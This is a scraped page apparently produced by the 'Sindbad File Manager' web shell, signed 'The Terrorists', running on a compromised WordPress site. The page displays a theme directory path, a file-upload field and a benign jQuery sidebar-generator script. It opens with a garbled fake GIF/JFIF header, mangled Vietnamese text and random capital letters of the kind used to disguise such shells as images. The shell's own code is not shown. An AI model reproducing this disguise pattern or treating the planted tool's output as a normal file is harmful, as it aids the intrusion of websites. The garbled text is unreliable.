GIF89a;?? JFIF  ? ? ?+GIF89a:GIF89a: út idùng ?? li?t kê các y?u t? t?o nên t?ng th?, t??ng ???ng v?i "bao g?m" TRBVUI)SDNIUWM(SDMKIUFCNCU)XMNDIUF>SDNIUF}SDNJFIU|SDJIU]SHDUUJW XMIU_SKDLOI}SDMNIUDJ_DKLSIUW<SDNIUF|SDMIUFJ)SDMNJIUHSJ 22527GIF89a;?? JFIF  ? ? ?+GIF89a:GIF89a: út idùng ?? li?t kê các y?u t? t?o nên t?ng th?, t??ng ???ng v?i "bao g?m" TRBVUI)SDNIUWM(SDMKIUFCNCU)XMNDIUF>SDNIUF}SDNJFIU|SDJIU]SHDUUJW XMIU_SKDLOI}SDMNIUDJ_DKLSIUW<SDNIUF|SDMIUFJ)SDMNJIUHSJ 22527 D.R.S Dz

Sindbad~EG File Manager

Current Path : /home1/htainterstpstarp/public_html/wp-content/themes/roofix/assets/js/
Upload File :
Current File : //home1/htainterstpstarp/public_html/wp-content/themes/roofix/assets/js/admin-sidebar-generator.js

(function($){
	"use strict";
	// Custom functions
	function add_close_btn(){
		$('#widgets-right .sidebar-rdtheme-custom .sidebar-name h2').children('.spinner').each(function() {
			if ( ! $(this).prev('.sidebar-rdtheme-custom-closebtn').length) {
				$(this).before('<a class="sidebar-rdtheme-custom-closebtn" style="vertical-align: text-top;" href="#">x</a>');
			}
		});	
	}

	// Initialize
	$(document).ready(function() {
		$('#rdtheme-new-sidebar').parent().prependTo($('#widgets-right .sidebars-column-1'));
		add_close_btn();
	});

	// Add Form submission
	$(document).on('submit','#rdtheme-new-sidebar form',function(event){
		event.preventDefault();

		$(this).find('input[type="submit"]').attr('disabled', 'disabled');
		$(this).closest('#rdtheme-new-sidebar').find('.spinner').addClass('is-active');

		$.ajax({
			context: this,
			url: $(this).attr('action'),
			type: $(this).attr('method'),
			dataType: 'json',
			data: $(this).serializeArray(),
			complete: function(response) {
				$(this).closest('#rdtheme-new-sidebar').find('.spinner').removeClass('is-active');
				$(this).find('input[type="submit"]').removeAttr('disabled');

				if ( ! response || ! response.responseJSON || ! response.responseJSON.success) {
					if (response && response.responseJSON && response.responseJSON.data) {
						alert(response.responseJSON.data);
					}
					else {
						alert(RDThemeSidebarObj.failed);
					}
				}
				else {
					var html = $('#wpbody-content > .wrap').clone();
					html.find('#widgets-right .sidebars-column-2').append(response.responseJSON.data);
					$(document.body).unbind('click.widgets-toggle');
					$('#wpbody-content > .wrap').replaceWith(html.clone());
					setTimeout(function() {
						wpWidgets.init();
						add_close_btn();
					}, 200);
				}
			},
		});
	});

	// Remove button action
	$(document).on('click','#widgets-right .sidebar-rdtheme-custom .sidebar-name h2 .sidebar-rdtheme-custom-closebtn',function(event){
		event.preventDefault();
		event.stopPropagation();

		if (confirm(RDThemeSidebarObj.confirm)) {
			$(this).addClass('hidden').next('.spinner').addClass('is-active');

			$.ajax({
				context: this,
				url: RDThemeSidebarObj.ajaxurl,
				dataType: 'json',
				data: {
					id: $(this).closest('.widgets-sortables').attr('id'),
					_wpnonce: RDThemeSidebarObj.nonce,
				},
				complete: function(response) {
					if ( ! response || ! response.responseJSON || ! response.responseJSON.success) {
						if (response && response.responseJSON && response.responseJSON.data) {
							alert(response.responseJSON.data);
						}
						else {
							alert(RDThemeSidebarObj.failed);
						}

						$(this).removeClass('hidden').next('.spinner').removeClass('is-active');
					}
					else {
						$(this).closest('.sidebar-rdtheme-custom').remove();
					}
				},
			});
		}
	});
})(jQuery);

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists